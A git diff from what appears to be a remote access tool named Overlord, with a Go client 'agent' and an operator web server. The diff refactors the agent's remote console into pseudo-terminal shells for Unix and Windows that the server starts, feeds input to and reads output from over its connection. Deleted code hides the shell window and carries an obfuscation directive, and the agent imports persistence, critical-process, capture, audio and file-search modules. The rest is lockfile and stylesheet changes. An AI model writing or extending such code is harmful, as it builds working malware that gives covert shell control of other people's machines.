diff --git a/Overlord-Client/cmd/agent/console/console.go b/Overlord-Client/cmd/agent/console/console.go
deleted file mode 100644
index e6c4439..0000000
--- a/Overlord-Client/cmd/agent/console/console.go
+++ /dev/null
@@ -1,175 +0,0 @@
-package console
-
-import (
- "context"
- "errors"
- "io"
- "os"
- "os/exec"
- "runtime"
- "sync"
-
- rt "overlord-client/cmd/agent/runtime"
- "overlord-client/cmd/agent/wire"
-)
-
-type session struct {
- id string
- cmd *exec.Cmd
- stdin io.WriteCloser
- cancel context.CancelFunc
- env *rt.Env
- closed chan struct{}
- once sync.Once
-}
-
-var sessions sync.Map
-
-func shellCommand() []string {
- if runtime.GOOS == "windows" {
- return []string{"cmd.exe", "/d"}
- }
-
- return []string{"/bin/sh"}
-}
-
-func Start(ctx context.Context, env *rt.Env, sessionID string, _ int, _ int) error {
- //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
- if sessionID == "" {
- return errors.New("session id required")
- }
-
- Stop(sessionID)
-
- parts := shellCommand()
- cctx, cancel := context.WithCancel(ctx)
- cmd := exec.CommandContext(cctx, parts[0], parts[1:]...)
- if attr := platformSysProcAttr(); attr != nil {
- cmd.SysProcAttr = attr
- }
- cmd.Env = append(os.Environ(), "CLINK_NOAUTORUN=1")
-
- stdin, err := cmd.StdinPipe()
- if err != nil {
- cancel()
- return err
- }
- stdout, err := cmd.StdoutPipe()
- if err != nil {
- cancel()
- return err
- }
- stderr, err := cmd.StderrPipe()
- if err != nil {
- cancel()
- return err
- }
-
- if err := cmd.Start(); err != nil {
- cancel()
- return err
- }
-
- sess := &session{id: sessionID, cmd: cmd, stdin: stdin, cancel: cancel, env: env, closed: make(chan struct{})}
- sessions.Store(sessionID, sess)
-
- go sess.forwardOutput(stdout)
- go sess.forwardOutput(stderr)
- go sess.waitExit()
-
- return nil
-}
-
-func Stop(sessionID string) {
- val, ok := sessions.LoadAndDelete(sessionID)
- if !ok {
- return
- }
- sess := val.(*session)
- sess.cancel()
- if sess.cmd.Process != nil {
- _ = sess.cmd.Process.Kill()
- }
- sess.once.Do(func() { close(sess.closed) })
-}
-
-func Input(sessionID string, data string) error {
- val, ok := sessions.Load(sessionID)
- if !ok {
- return errors.New("session not found")
- }
- sess := val.(*session)
- if sess.stdin == nil {
- return errors.New("stdin missing")
- }
- _, err := sess.stdin.Write([]byte(data))
- return err
-}
-
-func Resize(_ string, _ int, _ int) {
-
-}
-
-func (s *session) forwardOutput(r io.Reader) {
- buf := make([]byte, 4096)
- for {
- n, err := r.Read(buf)
- if n > 0 {
- clean := stripBackspaces(buf[:n])
- if len(clean) > 0 {
- _ = sendOutput(s.env, s.id, clean, nil, "")
- }
- }
- if err != nil {
- return
- }
- }
-}
-
-func (s *session) waitExit() {
- err := s.cmd.Wait()
- var codePtr *int
- msg := ""
- if err != nil {
- if exitErr, ok := err.(*exec.ExitError); ok {
- code := exitErr.ExitCode()
- codePtr = &code
- } else {
- msg = err.Error()
- }
- } else {
- code := 0
- codePtr = &code
- }
- _ = sendOutput(s.env, s.id, nil, codePtr, msg)
- sessions.Delete(s.id)
- s.once.Do(func() { close(s.closed) })
-}
-
-func sendOutput(env *rt.Env, sessionID string, data []byte, exitCode *int, errMsg string) error {
- payload := wire.ConsoleOutput{Type: "console_output", SessionID: sessionID}
- if len(data) > 0 {
- payload.Data = data
- }
- if errMsg != "" {
- payload.Error = errMsg
- }
- if exitCode != nil {
- payload.ExitCode = exitCode
- }
- return wire.WriteMsg(context.Background(), env.Conn, payload)
-}
-
-func stripBackspaces(src []byte) []byte {
- out := make([]byte, 0, len(src))
- for _, b := range src {
- if b == '\b' {
- if len(out) > 0 {
- out = out[:len(out)-1]
- }
- continue
- }
- out = append(out, b)
- }
- return out
-}
diff --git a/Overlord-Client/cmd/agent/console/sysproc_other.go b/Overlord-Client/cmd/agent/console/sysproc_other.go
deleted file mode 100644
index 04f49ed..0000000
--- a/Overlord-Client/cmd/agent/console/sysproc_other.go
+++ /dev/null
@@ -1,9 +0,0 @@
-//go:build !windows
-
-package console
-
-import "syscall"
-
-func platformSysProcAttr() *syscall.SysProcAttr {
- return nil
-}
diff --git a/Overlord-Client/cmd/agent/console/sysproc_windows.go b/Overlord-Client/cmd/agent/console/sysproc_windows.go
deleted file mode 100644
index 3abc35b..0000000
--- a/Overlord-Client/cmd/agent/console/sysproc_windows.go
+++ /dev/null
@@ -1,9 +0,0 @@
-//go:build windows
-
-package console
-
-import "syscall"
-
-func platformSysProcAttr() *syscall.SysProcAttr {
- return &syscall.SysProcAttr{HideWindow: true}
-}
diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index d266139..daa3db1 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -16,7 +16,6 @@ import (
"overlord-client/cmd/agent/audio"
"overlord-client/cmd/agent/capture"
- "overlord-client/cmd/agent/console"
"overlord-client/cmd/agent/criticalproc"
"overlord-client/cmd/agent/filesearch"
"overlord-client/cmd/agent/persistence"
@@ -1856,7 +1855,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
if sessionID == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing session id"})
}
- if err := console.Start(ctx, env, sessionID, cols, rows); err != nil {
+ if err := env.Console.Start(ctx, runtime.ConsoleStartRequest{SessionID: sessionID, Cols: cols, Rows: rows}); err != nil {
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
return nil
}
@@ -1865,21 +1864,21 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
sessionID, _ := envelopePayloadString(envelope, "sessionId")
data, _ := envelopePayloadString(envelope, "data")
if sessionID != "" && data != "" {
- _ = console.Input(sessionID, data)
+ _ = env.Console.Write(ctx, sessionID, data)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_stop":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
if sessionID != "" {
- console.Stop(sessionID)
+ env.Console.Stop(sessionID)
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "console_resize":
-
sessionID, _ := envelopePayloadString(envelope, "sessionId")
cols, rows := envelopePayloadInts(envelope)
- _ = sessionID
- console.Resize(sessionID, cols, rows)
+ if sessionID != "" {
+ _ = env.Console.Resize(sessionID, cols, rows)
+ }
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_session_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
diff --git a/Overlord-Client/cmd/agent/runtime/console.go b/Overlord-Client/cmd/agent/runtime/console.go
index e7f8383..74993f6 100644
--- a/Overlord-Client/cmd/agent/runtime/console.go
+++ b/Overlord-Client/cmd/agent/runtime/console.go
@@ -5,14 +5,10 @@ import (
"fmt"
"io"
"os"
- "os/exec"
"runtime"
"sync"
- "syscall"
"overlord-client/cmd/agent/wire"
-
- "github.com/creack/pty"
)
type ConsoleHub struct {
@@ -23,8 +19,7 @@ type ConsoleHub struct {
type ConsoleSession struct {
id string
- cmd *exec.Cmd
- pty *os.File
+ pty ptyHandle
cancel context.CancelFunc
once sync.Once
}
@@ -35,6 +30,12 @@ type ConsoleStartRequest struct {
Rows int
}
+type ptyHandle interface {
+ io.ReadWriteCloser
+ Resize(cols, rows uint16) error
+ Wait() (int, error)
+}
+
func NewConsoleHub(env *Env) *ConsoleHub {
return &ConsoleHub{env: env, sessions: make(map[string]*ConsoleSession)}
}
@@ -62,22 +63,19 @@ func (h *ConsoleHub) Start(ctx context.Context, req ConsoleStartRequest) error {
shell := detectShell()
sessionCtx, cancel := context.WithCancel(ctx)
- cmd := exec.CommandContext(sessionCtx, shell[0], shell[1:]...)
- cmd.Env = os.Environ()
-
- ptmx, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
+ handle, err := startPty(sessionCtx, shell, cols, rows)
if err != nil {
cancel()
- h.emitError(ctx, req.SessionID, err)
+ h.emitError(req.SessionID, err)
return err
}
- sess := &ConsoleSession{id: req.SessionID, cmd: cmd, pty: ptmx, cancel: cancel}
+ sess := &ConsoleSession{id: req.SessionID, pty: handle, cancel: cancel}
h.mu.Lock()
h.sessions[req.SessionID] = sess
h.mu.Unlock()
- go h.forwardOutput(sessionCtx, sess)
+ go h.forwardOutput(sess)
return nil
}
@@ -101,7 +99,7 @@ func (h *ConsoleHub) Resize(sessionID string, cols, rows int) error {
if rows <= 0 {
rows = 36
}
- return pty.Setsize(sess.pty, &pty.Winsize{Cols: uint16(cols), Rows: uint16(rows)})
+ return sess.pty.Resize(uint16(cols), uint16(rows))
}
func (h *ConsoleHub) Stop(sessionID string) {
@@ -129,28 +127,27 @@ func (h *ConsoleHub) StopAll() {
}
}
-func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
+func (h *ConsoleHub) forwardOutput(sess *ConsoleSession) {
+ writeCtx := context.Background()
+
buf := make([]byte, 4096)
for {
n, err := sess.pty.Read(buf)
if n > 0 {
chunk := make([]byte, n)
copy(chunk, buf[:n])
- _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
+ _ = wire.WriteMsg(writeCtx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, Data: chunk})
}
if err != nil {
if err != io.EOF {
- h.emitError(ctx, sess.id, err)
+ h.emitError(sess.id, err)
}
break
}
}
- if sess.cmd != nil {
- _ = sess.cmd.Wait()
- }
- exitCode := extractExitCode(sess.cmd)
- _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
+ exitCode, _ := sess.pty.Wait()
+ _ = wire.WriteMsg(writeCtx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sess.id, ExitCode: &exitCode})
h.mu.Lock()
delete(h.sessions, sess.id)
@@ -158,8 +155,8 @@ func (h *ConsoleHub) forwardOutput(ctx context.Context, sess *ConsoleSession) {
sess.close()
}
-func (h *ConsoleHub) emitError(ctx context.Context, sessionID string, err error) {
- _ = wire.WriteMsg(ctx, h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
+func (h *ConsoleHub) emitError(sessionID string, err error) {
+ _ = wire.WriteMsg(context.Background(), h.env.Conn, wire.ConsoleOutput{Type: "console_output", SessionID: sessionID, Error: err.Error()})
}
func (h *ConsoleHub) get(sessionID string) *ConsoleSession {
@@ -173,9 +170,6 @@ func (sess *ConsoleSession) close() {
if sess.cancel != nil {
sess.cancel()
}
- if sess.cmd != nil && sess.cmd.Process != nil {
- _ = sess.cmd.Process.Kill()
- }
if sess.pty != nil {
_ = sess.pty.Close()
}
@@ -197,13 +191,3 @@ func detectShell() []string {
}
return []string{"/bin/bash", "-l"}
}
-
-func extractExitCode(cmd *exec.Cmd) int {
- if cmd == nil || cmd.ProcessState == nil {
- return -1
- }
- if status, ok := cmd.ProcessState.Sys().(syscall.WaitStatus); ok {
- return status.ExitStatus()
- }
- return -1
-}
diff --git a/Overlord-Client/cmd/agent/runtime/console_unix.go b/Overlord-Client/cmd/agent/runtime/console_unix.go
new file mode 100644
index 0000000..ea63360
--- /dev/null
+++ b/Overlord-Client/cmd/agent/runtime/console_unix.go
@@ -0,0 +1,59 @@
+//go:build !windows
+
+package runtime
+
+import (
+ "context"
+ "os"
+ "os/exec"
+ "syscall"
+
+ "github.com/creack/pty"
+)
+
+type unixPty struct {
+ f *os.File
+ cmd *exec.Cmd
+}
+
+func (u *unixPty) Read(p []byte) (int, error) { return u.f.Read(p) }
+func (u *unixPty) Write(p []byte) (int, error) { return u.f.Write(p) }
+
+func (u *unixPty) Close() error {
+ if u.cmd != nil && u.cmd.Process != nil {
+ _ = u.cmd.Process.Kill()
+ }
+ return u.f.Close()
+}
+
+func (u *unixPty) Resize(cols, rows uint16) error {
+ return pty.Setsize(u.f, &pty.Winsize{Cols: cols, Rows: rows})
+}
+
+func (u *unixPty) Wait() (int, error) {
+ if u.cmd == nil {
+ return -1, nil
+ }
+ err := u.cmd.Wait()
+ if err != nil {
+ if ee, ok := err.(*exec.ExitError); ok {
+ if status, ok := ee.Sys().(syscall.WaitStatus); ok {
+ return status.ExitStatus(), nil
+ }
+ return ee.ExitCode(), nil
+ }
+ return -1, err
+ }
+ return 0, nil
+}
+
+func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
+ cmd := exec.CommandContext(ctx, shell[0], shell[1:]...)
+ cmd.Env = append(os.Environ(), "TERM=xterm-256color")
+
+ f, err := pty.StartWithSize(cmd, &pty.Winsize{Cols: cols, Rows: rows})
+ if err != nil {
+ return nil, err
+ }
+ return &unixPty{f: f, cmd: cmd}, nil
+}
diff --git a/Overlord-Client/cmd/agent/runtime/console_windows.go b/Overlord-Client/cmd/agent/runtime/console_windows.go
new file mode 100644
index 0000000..97a1663
--- /dev/null
+++ b/Overlord-Client/cmd/agent/runtime/console_windows.go
@@ -0,0 +1,49 @@
+//go:build windows
+
+package runtime
+
+import (
+ "context"
+ "strings"
+
+ "github.com/UserExistsError/conpty"
+)
+
+type winPty struct {
+ cp *conpty.ConPty
+ waitCh chan waitResult
+}
+
+type waitResult struct {
+ code int
+ err error
+}
+
+func (w *winPty) Read(p []byte) (int, error) { return w.cp.Read(p) }
+func (w *winPty) Write(p []byte) (int, error) { return w.cp.Write(p) }
+func (w *winPty) Close() error { return w.cp.Close() }
+
+func (w *winPty) Resize(cols, rows uint16) error {
+ return w.cp.Resize(int(cols), int(rows))
+}
+
+func (w *winPty) Wait() (int, error) {
+ res := <-w.waitCh
+ return res.code, res.err
+}
+
+func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
+ cmdline := strings.Join(shell, " ")
+
+ cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
+ if err != nil {
+ return nil, err
+ }
+
+ w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
+ go func() {
+ code, werr := cp.Wait(context.Background())
+ w.waitCh <- waitResult{code: int(code), err: werr}
+ }()
+ return w, nil
+}
diff --git a/Overlord-Client/go.mod b/Overlord-Client/go.mod
index e5e36f6..c65ed7d 100644
--- a/Overlord-Client/go.mod
+++ b/Overlord-Client/go.mod
@@ -13,6 +13,7 @@ require (
require (
github.com/Kirizu-Official/windows-camera-go v0.2.0
+ github.com/UserExistsError/conpty v0.1.4
github.com/gen2brain/malgo v0.11.24
github.com/gen2brain/shm v0.1.0
github.com/jezek/xgb v1.1.1
diff --git a/Overlord-Client/go.sum b/Overlord-Client/go.sum
index 80cd9f7..f9e4cf4 100644
--- a/Overlord-Client/go.sum
+++ b/Overlord-Client/go.sum
@@ -1,5 +1,7 @@
github.com/Kirizu-Official/windows-camera-go v0.2.0 h1:wF8s6US/me/d5WaBeoHGVKE8mBOl83kKTfMV38YYQ3g=
github.com/Kirizu-Official/windows-camera-go v0.2.0/go.mod h1:zMP4SmblRxD6zQHe4X07CHO4lnNcWo6zeZhQavO2aLQ=
+github.com/UserExistsError/conpty v0.1.4 h1:+3FhJhiqhyEJa+K5qaK3/w6w+sN3Nh9O9VbJyBS02to=
+github.com/UserExistsError/conpty v0.1.4/go.mod h1:PDglKIkX3O/2xVk0MV9a6bCWxRmPVfxqZoTG/5sSd9I=
github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
@@ -86,6 +88,7 @@ golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtC
golang.org/x/net v0.51.0 h1:94R/GTO7mt3/4wIKpcR5gkGmRLOuE/2hNGeWq/GBIFo=
golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock
index be8377e..15a09be 100644
--- a/Overlord-Server/bun.lock
+++ b/Overlord-Server/bun.lock
@@ -1,26 +1,15 @@
{
"lockfileVersion": 1,
- "configVersion": 1,
"workspaces": {
"": {
"name": "overlord-server",
"dependencies": {
- "@fontsource/inter": "^5.2.8",
- "@fontsource/jetbrains-mono": "^5.2.8",
- "@fortawesome/fontawesome-free": "6.5.2",
"@msgpack/msgpack": "^3.0.0",
"@solana/web3.js": "^1.98.4",
- "ace-builds": "1.36.5",
"adm-zip": "^0.5.12",
- "animejs": "3.2.2",
"ansi-to-html": "0.7.2",
- "chart.js": "4.4.0",
- "codemirror": "5.65.16",
- "flag-icons": "latest",
"geoip-lite": "latest",
- "highlight.js": "11.9.0",
"jose": "^6.1.3",
- "leaflet": "1.9.4",
"msgpackr": "1.11.8",
"sharp": "^0.34.5",
"uuid": "^9.0.1",
@@ -28,13 +17,26 @@
"winston": "^3.11.0",
},
"devDependencies": {
+ "@fontsource/inter": "^5.2.8",
+ "@fontsource/jetbrains-mono": "^5.2.8",
+ "@fortawesome/fontawesome-free": "6.5.2",
"@tailwindcss/cli": "^4.1.18",
"@types/bun": "^1.3.9",
"@types/geoip-lite": "latest",
"@types/uuid": "^9.0.7",
+ "@xterm/addon-fit": "^0.11.0",
+ "@xterm/addon-web-links": "^0.12.0",
+ "@xterm/xterm": "^6.0.0",
+ "ace-builds": "1.36.5",
+ "animejs": "3.2.2",
"autoprefixer": "^10.4.23",
+ "chart.js": "4.4.0",
"clean-css": "^5.3.3",
+ "codemirror": "5.65.16",
+ "flag-icons": "latest",
+ "highlight.js": "11.9.0",
"html-minifier-terser": "^7.2.0",
+ "leaflet": "1.9.4",
"postcss": "^8.5.6",
"tailwindcss": "^4.1.18",
"terser": "^5.46.1",
@@ -225,6 +227,12 @@
"@types/ws": ["@types/ws@7.4.7", "", { "dependencies": { "@types/node": "*" } }, "sha512-JQbbmxZTZehdc2iszGKs5oC3NFnjeay7mtAWrdt7qNtAVK0g19muApzAy4bm9byz79xa2ZnO/BOBC2R8RC5Lww=="],
+ "@xterm/addon-fit": ["@xterm/addon-fit@0.11.0", "", {}, "sha512-jYcgT6xtVYhnhgxh3QgYDnnNMYTcf8ElbxxFzX0IZo+vabQqSPAjC3c1wJrKB5E19VwQei89QCiZZP86DCPF7g=="],
+
+ "@xterm/addon-web-links": ["@xterm/addon-web-links@0.12.0", "", {}, "sha512-4Smom3RPyVp7ZMYOYDoC/9eGJJJqYhnPLGGqJ6wOBfB8VxPViJNSKdgRYb8NpaM6YSelEKbA2SStD7lGyqaobw=="],
+
+ "@xterm/xterm": ["@xterm/xterm@6.0.0", "", {}, "sha512-TQwDdQGtwwDt+2cgKDLn0IRaSxYu1tSUjgKarSDkUM0ZNiSRXFpjxEsvc/Zgc5kq5omJ+V0a8/kIM2WD3sMOYg=="],
+
"ace-builds": ["ace-builds@1.36.5", "", {}, "sha512-mZ5KVanRT6nLRDLqtG/1YQQLX/gZVC/v526cm1Ru/MTSlrbweSmqv2ZT0d2GaHpJq035MwCMIrj+LgDAUnDXrg=="],
"acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="],
@@ -537,6 +545,8 @@
"yauzl": ["yauzl@3.2.1", "", { "dependencies": { "buffer-crc32": "~0.2.3", "pend": "~1.2.0" } }, "sha512-k1isifdbpNSFEHFJ1ZY4YDewv0IH9FR61lDetaRMD3j2ae3bIXGV+7c+LHCqtQGofSd8PIyV4X6+dHMAnSr60A=="],
+ "@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
"@solana/errors/chalk": ["chalk@5.6.2", "", {}, "sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA=="],
"@solana/errors/commander": ["commander@14.0.3", "", {}, "sha512-H+y0Jo/T1RZ9qPP4Eh1pkcQcLRglraJaSLoyOtHxu6AapkjWVCy2Sit1QQ4x3Dng8qDlSsZEet7g5Pq06MvTgw=="],
@@ -577,6 +587,34 @@
"terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/core/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-N10dEJNSsUx41Z6pZsXU8FjPjpBEplgH24sfkmITrBED1/U2Esum9F3lfLrMjKHHjmi557zQn7kR9R+XWXu5Rg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/core/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/wasi-threads/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core": ["@emnapi/core@1.9.1", "", { "dependencies": { "@emnapi/wasi-threads": "1.2.0", "tslib": "^2.4.0" }, "bundled": true }, "sha512-mukuNALVsoix/w1BJwFzwXBN/dHeejQtuVzcDsfOEsdpCumXb/E9j8w11h5S54tT1xhifGfbbSm/ICrObRb3KA=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@tybys/wasm-util": ["@tybys/wasm-util@0.10.1", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@tybys/wasm-util/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
"color/color-convert/color-name": ["color-name@2.1.0", "", {}, "sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@emnapi/core/@emnapi/wasi-threads/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core/@emnapi/wasi-threads": ["@emnapi/wasi-threads@1.2.0", "", { "dependencies": { "tslib": "^2.4.0" }, "bundled": true }, "sha512-N10dEJNSsUx41Z6pZsXU8FjPjpBEplgH24sfkmITrBED1/U2Esum9F3lfLrMjKHHjmi557zQn7kR9R+XWXu5Rg=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/runtime/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@tybys/wasm-util/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
+
+ "@tailwindcss/oxide-wasm32-wasi/@napi-rs/wasm-runtime/@emnapi/core/@emnapi/wasi-threads/tslib": ["tslib@2.8.1", "", { "bundled": true }, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="],
}
}
diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json
index f338407..f2e4311 100644
--- a/Overlord-Server/package.json
+++ b/Overlord-Server/package.json
@@ -35,6 +35,9 @@
"@types/bun": "^1.3.9",
"@types/geoip-lite": "latest",
"@types/uuid": "^9.0.7",
+ "@xterm/addon-fit": "^0.11.0",
+ "@xterm/addon-web-links": "^0.12.0",
+ "@xterm/xterm": "^6.0.0",
"ace-builds": "1.36.5",
"animejs": "3.2.2",
"autoprefixer": "^10.4.23",
diff --git a/Overlord-Server/public/assets/console.css b/Overlord-Server/public/assets/console.css
index 56e6bba..ce380c7 100644
--- a/Overlord-Server/public/assets/console.css
+++ b/Overlord-Server/public/assets/console.css
@@ -10,58 +10,39 @@
flex-direction: column;
}
-.console-topbar {
- position: sticky;
- top: 0;
- z-index: 10;
- display: flex;
- align-items: center;
- justify-content: space-between;
- gap: 10px;
- padding: 14px 18px;
- background: rgba(7, 12, 22, 0.9);
- border-bottom: 1px solid rgba(255, 255, 255, 0.06);
- backdrop-filter: blur(10px);
-}
-
-.console-topbar .brand {
- display: inline-flex;
- align-items: center;
- gap: 10px;
- font-weight: 600;
- letter-spacing: 0.3px;
-}
-
-.console-topbar .console-actions {
- display: flex;
- gap: 8px;
- align-items: center;
- flex-wrap: wrap;
-}
-
.console-main {
flex: 1;
padding: 18px;
- display: grid;
- place-items: center;
+ box-sizing: border-box;
}
.console-card {
- width: min(1100px, 96vw);
+ max-width: 1280px;
+ width: 100%;
+ margin: 0 auto;
+ box-sizing: border-box;
background: rgba(8, 12, 22, 0.8);
border: 1px solid rgba(255, 255, 255, 0.05);
border-radius: 14px;
box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4);
display: flex;
flex-direction: column;
- gap: 14px;
- padding: 16px;
+ gap: 12px;
+ padding: 14px;
+}
+
+.console-header {
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 12px;
+ flex-wrap: wrap;
}
.console-meta {
display: grid;
- grid-template-columns: repeat(auto-fit, minmax(140px, 1fr));
- gap: 10px;
+ grid-template-columns: repeat(auto-fit, minmax(120px, max-content));
+ gap: 14px 24px;
color: #a9b8d4;
}
@@ -70,67 +51,37 @@
color: #e5edff;
}
-.console-output {
- min-height: 420px;
- max-height: 70vh;
+.console-toolbar {
+ display: flex;
+ align-items: center;
+ gap: 8px;
+ flex-wrap: wrap;
+}
+
+.console-terminal {
+ min-height: 65vh;
width: 100%;
- max-width: 100%;
- min-width: 0;
background: #050913;
border: 1px solid rgba(255, 255, 255, 0.06);
border-radius: 12px;
- padding: 14px;
- overflow: auto;
- overflow-x: auto;
- box-sizing: border-box;
- white-space: normal;
- text-align: left;
